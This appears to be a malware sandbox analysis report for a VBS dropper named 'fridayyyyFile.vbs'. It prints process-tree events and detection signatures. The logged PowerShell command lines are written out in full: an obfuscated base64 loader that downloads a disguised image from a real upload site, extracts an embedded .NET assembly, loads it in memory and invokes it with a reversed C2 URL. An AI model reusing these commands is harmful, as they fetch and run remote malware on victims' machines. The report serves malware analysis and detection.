parent_process	wscript.exe	martian_process	powershell -command "$Codigo = 'J░░░Bp░░░G0░░░YQBn░░░GU░░░VQBy░░░Gw░░░I░░░░░░9░░░C░░░░░░JwBo░░░HQ░░░d░░░Bw░░░HM░░░Og░░░v░░░C8░░░dQBw░░░Gw░░░bwBh░░░GQ░░░Z░░░Bl░░░Gk░░░bQBh░░░Gc░░░ZQBu░░░HM░░░LgBj░░░G8░░░bQ░░░u░░░GI░░░cg░░░v░░░Gk░░░bQBh░░░Gc░░░ZQBz░░░C8░░░M░░░░░░w░░░DQ░░░Lw░░░1░░░Dk░░░Nw░░░v░░░DI░░░Mw░░░2░░░C8░░░bwBy░░░Gk░░░ZwBp░░░G4░░░YQBs░░░C8░░░cgB1░░░G0░░░c░░░Bf░░░H░░░░░░cgBp░░░HY░░░YQBk░░░GE░░░LgBq░░░H░░░░░░Zw░░░/░░░DE░░░Ng░░░5░░░DM░░░O░░░░░░0░░░Dc░░░M░░░░░░3░░░D░░░░░░Jw░░░7░░░CQ░░░dwBl░░░GI░░░QwBs░░░Gk░░░ZQBu░░░HQ░░░I░░░░░░9░░░C░░░░░░TgBl░░░Hc░░░LQBP░░░GI░░░agBl░░░GM░░░d░░░░░░g░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░TgBl░░░HQ░░░LgBX░░░GU░░░YgBD░░░Gw░░░aQBl░░░G4░░░d░░░░░░7░░░CQ░░░aQBt░░░GE░░░ZwBl░░░EI░░░eQB0░░░GU░░░cw░░░g░░░D0░░░I░░░░░░k░░░Hc░░░ZQBi░░░EM░░░b░░░Bp░░░GU░░░bgB0░░░C4░░░R░░░Bv░░░Hc░░░bgBs░░░G8░░░YQBk░░░EQ░░░YQB0░░░GE░░░K░░░░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBV░░░HI░░░b░░░░░░p░░░Ds░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░g░░░D0░░░I░░░Bb░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░EU░░░bgBj░░░G8░░░Z░░░Bp░░░G4░░░ZwBd░░░Do░░░OgBV░░░FQ░░░Rg░░░4░░░C4░░░RwBl░░░HQ░░░UwB0░░░HI░░░aQBu░░░Gc░░░K░░░░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBC░░░Hk░░░d░░░Bl░░░HM░░░KQ░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░EY░░░b░░░Bh░░░Gc░░░I░░░░░░9░░░C░░░░░░Jw░░░8░░░Dw░░░QgBB░░░FM░░░RQ░░░2░░░DQ░░░XwBT░░░FQ░░░QQBS░░░FQ░░░Pg░░░+░░░Cc░░░Ow░░░k░░░GU░░░bgBk░░░EY░░░b░░░Bh░░░Gc░░░I░░░░░░9░░░C░░░░░░Jw░░░8░░░Dw░░░QgBB░░░FM░░░RQ░░░2░░░DQ░░░XwBF░░░E4░░░R░░░░░░+░░░D4░░░Jw░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░D0░░░I░░░░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBU░░░GU░░░e░░░B0░░░C4░░░SQBu░░░GQ░░░ZQB4░░░E8░░░Zg░░░o░░░CQ░░░cwB0░░░GE░░░cgB0░░░EY░░░b░░░Bh░░░Gc░░░KQ░░░7░░░CQ░░░ZQBu░░░GQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░PQ░░░g░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░LgBJ░░░G4░░░Z░░░Bl░░░Hg░░░TwBm░░░Cg░░░J░░░Bl░░░G4░░░Z░░░BG░░░Gw░░░YQBn░░░Ck░░░Ow░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░t░░░Gc░░░ZQ░░░g░░░D░░░░░░I░░░░░░t░░░GE░░░bgBk░░░C░░░░░░J░░░Bl░░░G4░░░Z░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░t░░░Gc░░░d░░░░░░g░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░Cs░░░PQ░░░g░░░CQ░░░cwB0░░░GE░░░cgB0░░░EY░░░b░░░Bh░░░Gc░░░LgBM░░░GU░░░bgBn░░░HQ░░░a░░░░░░7░░░CQ░░░YgBh░░░HM░░░ZQ░░░2░░░DQ░░░T░░░Bl░░░G4░░░ZwB0░░░Gg░░░I░░░░░░9░░░C░░░░░░J░░░Bl░░░G4░░░Z░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░t░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Ds░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BD░░░G8░░░bQBt░░░GE░░░bgBk░░░C░░░░░░PQ░░░g░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░LgBT░░░HU░░░YgBz░░░HQ░░░cgBp░░░G4░░░Zw░░░o░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░s░░░C░░░░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BM░░░GU░░░bgBn░░░HQ░░░a░░░░░░p░░░Ds░░░J░░░Bj░░░G8░░░bQBt░░░GE░░░bgBk░░░EI░░░eQB0░░░GU░░░cw░░░g░░░D0░░░I░░░Bb░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░QwBv░░░G4░░░dgBl░░░HI░░░d░░░Bd░░░Do░░░OgBG░░░HI░░░bwBt░░░EI░░░YQBz░░░GU░░░Ng░░░0░░░FM░░░d░░░By░░░Gk░░░bgBn░░░Cg░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BD░░░G8░░░bQBt░░░GE░░░bgBk░░░Ck░░░Ow░░░k░░░Gw░░░bwBh░░░GQ░░░ZQBk░░░EE░░░cwBz░░░GU░░░bQBi░░░Gw░░░eQ░░░g░░░D0░░░I░░░Bb░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░UgBl░░░GY░░░b░░░Bl░░░GM░░░d░░░Bp░░░G8░░░bg░░░u░░░EE░░░cwBz░░░GU░░░bQBi░░░Gw░░░eQBd░░░Do░░░OgBM░░░G8░░░YQBk░░░Cg░░░J░░░Bj░░░G8░░░bQBt░░░GE░░░bgBk░░░EI░░░eQB0░░░GU░░░cw░░░p░░░Ds░░░J░░░B0░░░Hk░░░c░░░Bl░░░C░░░░░░PQ░░░g░░░CQ░░░b░░░Bv░░░GE░░░Z░░░Bl░░░GQ░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░C4░░░RwBl░░░HQ░░░V░░░B5░░░H░░░░░░ZQ░░░o░░░Cc░░░RgBp░░░GI░░░ZQBy░░░C4░░░S░░░Bv░░░G0░░░ZQ░░░n░░░Ck░░░Ow░░░k░░░G0░░░ZQB0░░░Gg░░░bwBk░░░C░░░░░░PQ░░░g░░░CQ░░░d░░░B5░░░H░░░░░░ZQ░░░u░░░Ec░░░ZQB0░░░E0░░░ZQB0░░░Gg░░░bwBk░░░Cg░░░JwBW░░░EE░░░SQ░░░n░░░Ck░░░Ow░░░k░░░GE░░░cgBn░░░HU░░░bQBl░░░G4░░░d░░░Bz░░░C░░░░░░PQ░░░g░░░Cw░░░K░░░░░░n░░░HQ░░░e░░░B0░░░C4░░░N░░░░░░0░░░DQ░░░N░░░░░░2░░░DM░░░cwBh░░░GI░░░cwBz░░░HM░░░cwBv░░░HY░░░aQB0░░░Gs░░░YQ░░░y░░░GE░░░bQBh░░░H░░░░░░YQ░░░v░░░DM░░░Ng░░░u░░░DM░░░Mw░░░u░░░DI░░░N░░░░░░u░░░DM░░░OQ░░░x░░░C8░░░Lw░░░6░░░H░░░░░░d░░░B0░░░Gg░░░Jw░░░p░░░Ds░░░J░░░Bt░░░GU░░░d░░░Bo░░░G8░░░Z░░░░░░u░░░Ek░░░bgB2░░░G8░░░awBl░░░Cg░░░J░░░Bu░░░HU░░░b░░░Bs░░░Cw░░░I░░░░░░k░░░GE░░░cgBn░░░HU░░░bQBl░░░G4░░░d░░░Bz░░░Ck░░░'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('░░░','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
parent_process	wscript.exe	martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J░░░Bp░░░G0░░░YQBn░░░GU░░░VQBy░░░Gw░░░I░░░░░░9░░░C░░░░░░JwBo░░░HQ░░░d░░░Bw░░░HM░░░Og░░░v░░░C8░░░dQBw░░░Gw░░░bwBh░░░GQ░░░Z░░░Bl░░░Gk░░░bQBh░░░Gc░░░ZQBu░░░HM░░░LgBj░░░G8░░░bQ░░░u░░░GI░░░cg░░░v░░░Gk░░░bQBh░░░Gc░░░ZQBz░░░C8░░░M░░░░░░w░░░DQ░░░Lw░░░1░░░Dk░░░Nw░░░v░░░DI░░░Mw░░░2░░░C8░░░bwBy░░░Gk░░░ZwBp░░░G4░░░YQBs░░░C8░░░cgB1░░░G0░░░c░░░Bf░░░H░░░░░░cgBp░░░HY░░░YQBk░░░GE░░░LgBq░░░H░░░░░░Zw░░░/░░░DE░░░Ng░░░5░░░DM░░░O░░░░░░0░░░Dc░░░M░░░░░░3░░░D░░░░░░Jw░░░7░░░CQ░░░dwBl░░░GI░░░QwBs░░░Gk░░░ZQBu░░░HQ░░░I░░░░░░9░░░C░░░░░░TgBl░░░Hc░░░LQBP░░░GI░░░agBl░░░GM░░░d░░░░░░g░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░TgBl░░░HQ░░░LgBX░░░GU░░░YgBD░░░Gw░░░aQBl░░░G4░░░d░░░░░░7░░░CQ░░░aQBt░░░GE░░░ZwBl░░░EI░░░eQB0░░░GU░░░cw░░░g░░░D0░░░I░░░░░░k░░░Hc░░░ZQBi░░░EM░░░b░░░Bp░░░GU░░░bgB0░░░C4░░░R░░░Bv░░░Hc░░░bgBs░░░G8░░░YQBk░░░EQ░░░YQB0░░░GE░░░K░░░░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBV░░░HI░░░b░░░░░░p░░░Ds░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░g░░░D0░░░I░░░Bb░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░EU░░░bgBj░░░G8░░░Z░░░Bp░░░G4░░░ZwBd░░░Do░░░OgBV░░░FQ░░░Rg░░░4░░░C4░░░RwBl░░░HQ░░░UwB0░░░HI░░░aQBu░░░Gc░░░K░░░░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBC░░░Hk░░░d░░░Bl░░░HM░░░KQ░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░EY░░░b░░░Bh░░░Gc░░░I░░░░░░9░░░C░░░░░░Jw░░░8░░░Dw░░░QgBB░░░FM░░░RQ░░░2░░░DQ░░░XwBT░░░FQ░░░QQBS░░░FQ░░░Pg░░░+░░░Cc░░░Ow░░░k░░░GU░░░bgBk░░░EY░░░b░░░Bh░░░Gc░░░I░░░░░░9░░░C░░░░░░Jw░░░8░░░Dw░░░QgBB░░░FM░░░RQ░░░2░░░DQ░░░XwBF░░░E4░░░R░░░░░░+░░░D4░░░Jw░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░D0░░░I░░░░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBU░░░GU░░░e░░░B0░░░C4░░░SQBu░░░GQ░░░ZQB4░░░E8░░░Zg░░░o░░░CQ░░░cwB0░░░GE░░░cgB0░░░EY░░░b░░░Bh░░░Gc░░░KQ░░░7░░░CQ░░░ZQBu░░░GQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░PQ░░░g░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░LgBJ░░░G4░░░Z░░░Bl░░░Hg░░░TwBm░░░Cg░░░J░░░Bl░░░G4░░░Z░░░BG░░░Gw░░░YQBn░░░Ck░░░Ow░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░t░░░Gc░░░ZQ░░░g░░░D░░░░░░I░░░░░░t░░░GE░░░bgBk░░░C░░░░░░J░░░Bl░░░G4░░░Z░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░t░░░Gc░░░d░░░░░░g░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░Cs░░░PQ░░░g░░░CQ░░░cwB0░░░GE░░░cgB0░░░EY░░░b░░░Bh░░░Gc░░░LgBM░░░GU░░░bgBn░░░HQ░░░a░░░░░░7░░░CQ░░░YgBh░░░HM░░░ZQ░░░2░░░DQ░░░T░░░Bl░░░G4░░░ZwB0░░░Gg░░░I░░░░░░9░░░C░░░░░░J░░░Bl░░░G4░░░Z░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░t░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Ds░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BD░░░G8░░░bQBt░░░GE░░░bgBk░░░C░░░░░░PQ░░░g░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░LgBT░░░HU░░░YgBz░░░HQ░░░cgBp░░░G4░░░Zw░░░o░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░s░░░C░░░░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BM░░░GU░░░bgBn░░░HQ░░░a░░░░░░p░░░Ds░░░J░░░Bj░░░G8░░░bQBt░░░GE░░░bgBk░░░EI░░░eQB0░░░GU░░░cw░░░g░░░D0░░░I░░░Bb░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░QwBv░░░G4░░░dgBl░░░HI░░░d░░░Bd░░░Do░░░OgBG░░░HI░░░bwBt░░░EI░░░YQBz░░░GU░░░Ng░░░0░░░FM░░░d░░░By░░░Gk░░░bgBn░░░Cg░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BD░░░G8░░░bQBt░░░GE░░░bgBk░░░Ck░░░Ow░░░k░░░Gw░░░bwBh░░░GQ░░░ZQBk░░░EE░░░cwBz░░░GU░░░bQBi░░░Gw░░░eQ░░░g░░░D0░░░I░░░Bb░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░UgBl░░░GY░░░b░░░Bl░░░GM░░░d░░░Bp░░░G8░░░bg░░░u░░░EE░░░cwBz░░░GU░░░bQBi░░░Gw░░░eQBd░░░Do░░░OgBM░░░G8░░░YQBk░░░Cg░░░J░░░Bj░░░G8░░░bQBt░░░GE░░░bgBk░░░EI░░░eQB0░░░GU░░░cw░░░p░░░Ds░░░J░░░B0░░░Hk░░░c░░░Bl░░░C░░░░░░PQ░░░g░░░CQ░░░b░░░Bv░░░GE░░░Z░░░Bl░░░GQ░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░C4░░░RwBl░░░HQ░░░V░░░B5░░░H░░░░░░ZQ░░░o░░░Cc░░░RgBp░░░GI░░░ZQBy░░░C4░░░S░░░Bv░░░G0░░░ZQ░░░n░░░Ck░░░Ow░░░k░░░G0░░░ZQB0░░░Gg░░░bwBk░░░C░░░░░░PQ░░░g░░░CQ░░░d░░░B5░░░H░░░░░░ZQ░░░u░░░Ec░░░ZQB0░░░E0░░░ZQB0░░░Gg░░░bwBk░░░Cg░░░JwBW░░░EE░░░SQ░░░n░░░Ck░░░Ow░░░k░░░GE░░░cgBn░░░HU░░░bQBl░░░G4░░░d░░░Bz░░░C░░░░░░PQ░░░g░░░Cw░░░K░░░░░░n░░░HQ░░░e░░░B0░░░C4░░░N░░░░░░0░░░DQ░░░N░░░░░░2░░░DM░░░cwBh░░░GI░░░cwBz░░░HM░░░cwBv░░░HY░░░aQB0░░░Gs░░░YQ░░░y░░░GE░░░bQBh░░░H░░░░░░YQ░░░v░░░DM░░░Ng░░░u░░░DM░░░Mw░░░u░░░DI░░░N░░░░░░u░░░DM░░░OQ░░░x░░░C8░░░Lw░░░6░░░H░░░░░░d░░░B0░░░Gg░░░Jw░░░p░░░Ds░░░J░░░Bt░░░GU░░░d░░░Bo░░░G8░░░Z░░░░░░u░░░Ek░░░bgB2░░░G8░░░awBl░░░Cg░░░J░░░Bu░░░HU░░░b░░░Bs░░░Cw░░░I░░░░░░k░░░GE░░░cgBn░░░HU░░░bQBl░░░G4░░░d░░░Bz░░░Ck░░░'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('░░░','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
parent_process	powershell.exe	martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/597/236/original/rump_privada.jpg?1693847070';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.444463sabssssovitka2amapa/36.33.24.391//:ptth');$method.Invoke($null, $arguments)"

Creates a suspicious Powershell process (9 events)

option	-executionpolicy bypass	value	Attempts to bypass execution policy
option	-noprofile	value	Does not load current user profile
option	-windowstyle hidden	value	Attempts to execute command with a hidden window
option	-executionpolicy bypass	value	Attempts to bypass execution policy
option	-noprofile	value	Does not load current user profile
option	-windowstyle hidden	value	Attempts to execute command with a hidden window
option	-executionpolicy bypass	value	Attempts to bypass execution policy
option	-noprofile	value	Does not load current user profile
option	-windowstyle hidden	value	Attempts to execute command with a hidden window

The processes wscript.exe, powershell.exe wrote an executable file to disk which it then attempted to execute (1 event)

file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Connects to IP addresses that are no longer responding to requests (legitimate services will remain up-and-running usually) (2 events)

dead_host	192.168.56.103:49887
dead_host	192.168.56.103:49888

fridayyyyFile.vbs

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All